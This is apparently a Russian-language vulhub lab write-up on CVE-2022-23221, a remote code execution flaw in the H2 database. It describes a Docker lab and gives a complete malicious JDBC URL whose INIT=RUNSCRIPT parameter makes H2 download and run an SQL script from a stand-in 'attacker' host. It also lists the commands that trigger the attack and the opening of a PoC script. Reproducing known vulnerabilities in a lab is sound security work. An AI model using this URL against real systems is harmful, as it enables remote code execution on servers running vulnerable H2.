
H2-database-CVE-2022-23221 — Updated!
vulhub/H2-database/CVE-2022-23221
RCE в базе данных H2 (CVE-2022-23221)
1. Краткое описание
-
H2 — это система управления реляционными базами данных, которая предоставляет возможность компилировать и выполнять Java-код непосредственно в SQL-движке.
-
Драйвер H2 парсит JDBC URL и устанавливает соединение между приложением и базой данных. При этом через параметры конфигурации, содержащиеся в URL, можно управлять начальным состоянием и поведением базы данных.
-
В версиях H2 ниже 2.1.210 существует проблема: через параметр INIT в JDBC URL можно выполнять удалённые SQL-скрипты. Злоумышленник может воспользоваться этим, чтобы удалённо внедрить поддельный SQL-скрипт и через его синтаксис выполнить системные команды, что и приводит к возникновению уязвимости CVE-2022-23221.
-
Особенности этой уязвимости:
- Аутентификация не требуется: любой, у кого есть право ввести JDBC URL, может использовать эту уязвимость для захвата контроля над системой.
- Автоматическое выполнение при запуске сервиса: если злоумышленник изменит лишь файл конфигурации, при запуске сервиса, использующего H2, автоматически произойдёт RCE (удалённое выполнение кода).
- Скрытность: разработчику трудно заметить атаку.
- Широкий охват воздействия: благодаря высокой скорости и лёгкости H2 используется для разработки и тестирования множества веб-сервисов. Любая среда, в которой JDBC URL можно задать через файл конфигурации или на основе пользовательского ввода, может стать целью атаки с использованием этой уязвимости, поэтому её масштаб велик.
-
Сфера воздействия уязвимости
- Подверженные версии: H2 ниже 2.1.210
- Патч-версии: H2 2.1.210 и выше
2. Условия уязвимости
- Используется версия H2 ниже 2.1.210.
- В JDBC URL содержится
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql'.IGNORE_UNKNOWN_SETTINGS=TRUE,FORBID_CREATION=FALSE-> обход настроек безопасности- При наличии этих параметров настройки безопасности отключаются, поэтому при инициализации команда удалённого выполнения скрипта не блокируется и выполняется как есть.
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'-> SQL-команда, автоматически выполняемая при подключении приложения к БД- Если в значении параметра INIT содержатся SQL-команда RUNSCRIPT и адрес вредоносного скрипта, H2 при установлении соединения между приложением и БД H2 подключается к указанному серверу, загружает файл и выполняет его.
- Внутри загруженного SQL-скрипта присутствует SQL-конструкция
CREATE ALIAS.- Конструкция
CREATE ALIASвнутри удалённо выполняемого скрипта заставляет H2 выполнять Java-функции скрипта в БД, что в итоге приводит к RCE.
- Конструкция
3. Настройка окружения
-
Сценарий
- Настраивается уязвимое окружение H2, и в H2 вводится вредоносный JDBC URL. H2 парсит этот URL без надлежащей проверки, загружает SQL-файл с сервера attacker и выполняет его. Если в логах сервера h2-vulnerable вместе со строкой «EXPLOITED» выводятся результаты выполнения команд
id,whoami,pwd, это означает, что уязвимое окружение H2 настроено и при парсинге вредоносного JDBC URL файл exploit.sql был удалённо загружен с внешнего сервера attacker и выполнен.
- Настраивается уязвимое окружение H2, и в H2 вводится вредоносный JDBC URL. H2 парсит этот URL без надлежащей проверки, загружает SQL-файл с сервера attacker и выполняет его. Если в логах сервера h2-vulnerable вместе со строкой «EXPLOITED» выводятся результаты выполнения команд
-
Настройка окружения
docker compose up -d
- При выполнении команды запускаются следующие окружения.
- h2-vulnerable: H2 2.0.206 (уязвимая версия до патча)
- Веб-консоль H2:
http://your-ip:8082 - TCP-сервер:
tcp://your-ip:9092
- Веб-консоль H2:
- attacker: HTTP-сервер
http://your-ip:8000: предоставляет файлexploit.sql
-
После настройки окружения при переходе по адресу http://your-ip:8082 отображается веб-страница H2.
4. Процедура воспроизведения
: Поскольку в веб-консоли применяется политика безопасности, параметры, являющиеся условием уязвимости, могут быть отфильтрованы, поэтому JDBC URL с вредоносными параметрами вводится напрямую через CLI для воспроизведения уязвимости и проверки результата.
[Случай с обычным запросом]
-
Обычный JDBC URL: "jdbc:h2:mem:test"
-
Команда обычного запроса
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:mem:test" \ -user sa \ -password "" -
Результат выполнения

- Запросов на сервер attacker не поступало
- На сервере h2-vulnerable никаких особых логов не выведено
[Случай эксплуатации уязвимости]
- Вредоносный JDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
1. Запуск атаки
-
Вредоносный JDBC URL вводится в драйвер H2 для попытки соединения с сервером attacker. Существует два способа ввода URL.
- Ввод вредоносного JDBC URL напрямую в H2 Shell через CLI.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \ -user sa \ -password ""
- Запуск PoC-файла.
python3 poc.py
2. Запрос и выполнение файла
-
Согласно значению в параметре INIT JDBC URL —
INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql', H2 запрашивает (HTTP GET) файл exploit.sql с сервера attacker и выполняет его в базе данных H2.- Если выполнить
docker logs attacker, можно проверить логи запросов файла exploit.sql, поступивших с сервера h2-vulnerable.
docker logs attacker
- Сервер attacker возвращает запрошенный файл exploit.sql, а сервер h2-vulnerable выполняет полученный файл exploit.sql. При этом конструкция CREATE ALIAS внутри скрипта инициирует выполнение Java-кода, в результате чего происходит RCE.
- Если выполнить
5. Код poc.py
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys